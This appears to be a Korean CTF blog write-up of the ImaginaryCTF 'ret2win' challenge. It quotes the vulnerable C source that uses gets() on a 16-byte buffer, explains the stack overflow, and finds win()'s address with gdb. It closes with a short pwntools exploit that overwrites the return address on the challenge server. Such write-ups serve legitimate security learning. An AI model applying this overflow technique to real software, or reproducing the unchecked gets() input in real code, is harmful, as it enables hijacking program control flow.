CTF/포너블

[ImaginaryCTF] ret2win - 포너블 / 버퍼오버플로우

SecurityMan 2022. 7. 22. 11:00

 

오랜만에 써보는 포너블 문제

 

포너블은 왠지 모르게 손이 잘 안가는거 같다.. 어려워서 그런가..

 

이번 문제는 간단해서 쉽게 풀었다.

 

반응형

 

문제파일로 바이너리 파일인 vuln과 소스코드인 vuln.c 파일이 주어진다.

 

그리고 실제 접속해서 문제를 풀어야 하는 문제서버 주소(ret2win.chal.imaginaryctf.org 1337) 도 같이 주어진다.

 

 

우선 어떤 프로그램인지 테스트 해보기 위해

 

문제 서버에 한번 접속해봤다.

 

접속하면 Can you overwrite the return address? 라고 하면서

 

사용자의 입력을 받는다.

 

aaaa 라고 시험삼아 입력해봤는데,

 

별다른 반응없이 retrun 주소를 출력하면서 프로그램이 종료된다.

 

#include <stdio.h>
#include <stdlib.h>

int win() {
  FILE *fp;
  char flag[255];
  fp = fopen("flag.txt", "r");
  fgets(flag, 255, fp);
  puts(flag);
}

char **return_address;

int main() {
  char buf[16];
  return_address = buf+24;

  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);

  puts("Welcome to ret2win!");
  puts("Right now I'm going to read in input.");
  puts("Can you overwrite the return address?");

  gets(buf);

  printf("Returning to %p...\n", *return_address);
}

 

이제 주어진 vuln.c 파일을 이용해 소스코드를 확인해본다.

 

main 함수와 win 함수가 있는것이 보인다.

 

win 함수에서는 플래그를 출력하고 있는데

 

코드 어디에서도 별다른 호출이 없어서 실행되지 않는 함수이다.

 

main 함수에서는 16 바이트짜리 buf를 선언하고, return_address 는 buf+24 에 위치하도록 만들어 놓은것을 볼 수 있다.

 

gets 를 이용해 buf 변수에 사용자 입력값을 저장하는데,

 

사용자가 입력한 데이터에 대한 길이를 검증하지 않아 버퍼오버플로우 취약점이 발생한다.

 

버퍼오버플로우를 설명할 때 가장 많이 쓰는 그림이다.

 

프로그램에서 사용자의 입력값을 받으면 buffer 라는 영역에 저장된다.

 

당연히 buffer 영역을 넘어가면 저장이 되지 않도록 입력값의 길이를 검증해야하는데,

 

버퍼오버플로우는 길이를 검증하지 않아서 사용자 입력값이 SFP 를지나 RET 까지 침범하여

 

RET에 있는 주소를 변조시켜 프로그램 실행 흐름 자체를 바꿀 수 있게 되는 것이다.

 

이번 문제에서는 ret 주소를 win() 함수의 시작으로 바꾸면 된다.

 

 

ret 주소가 buf 로부터 24칸 떨어진 곳에 있었으니

 

이번엔 a를 25개 입력해본다.

 

그랬더니 아까와 리턴 주소가 다르게 출력되는것이 보이는데,

 

마지막이 61로 바뀌었다.

 

0x61은 소문자 a를 의미한다.

 

그러니까 내가 입력한 a 24개가 버퍼를 다 채우고, 남은 1개가 ret 주소 영역으로 들어가

 

주소를 변경시킨 것이다.

 

이제 확실하게 버퍼오버플로우가 가능하다는 것을 알아냈다.

 

 

이제 알아내야하는건 win 함수의 시작주소이다.

 

gdb 라는 디버거를 이용해서 알아낼 수 있다.

 

gdb vuln 이라고 입력하면 vuln 파일을 gdb로 분석할 수 있게 된다.

 

 

gdb에서 info func 라고 입력하면

 

함수의 주소를 알 수 있다.

 

win 함수의 주소는 0x00000000004011d6 이다.

 

from pwn import *

p = remote('ret2win.chal.imaginaryctf.org', 1337)

ret = p64(0x00000000004011d6)
payload = b'a'*24 + ret

print(p.recvuntil('address?').decode())
p.sendline(payload)
print(p.recvline())
p.interactive()

 

이제 python의 pwntools 를 이용해 간단하게 코드를 짜주면 된다.

 

ret 변수에 아까 알아낸 win 함수 주소를 넣어준다.

 

payload 변수에는 a를 먼저 24개 채워 준다음 ret 변수를 이어붙여서 페이로드를 완성해준다.

 

그리고나서 sendline 을 이용해 문제서버로 데이터를 보내주면 끝난다.

 

 

파이썬 코드를 실행시키면

 

ret 주소가 변경되어서 win 함수가 실행되고,

 

그에따라 플래그가 출력되는것을 볼 수 있다.

반응형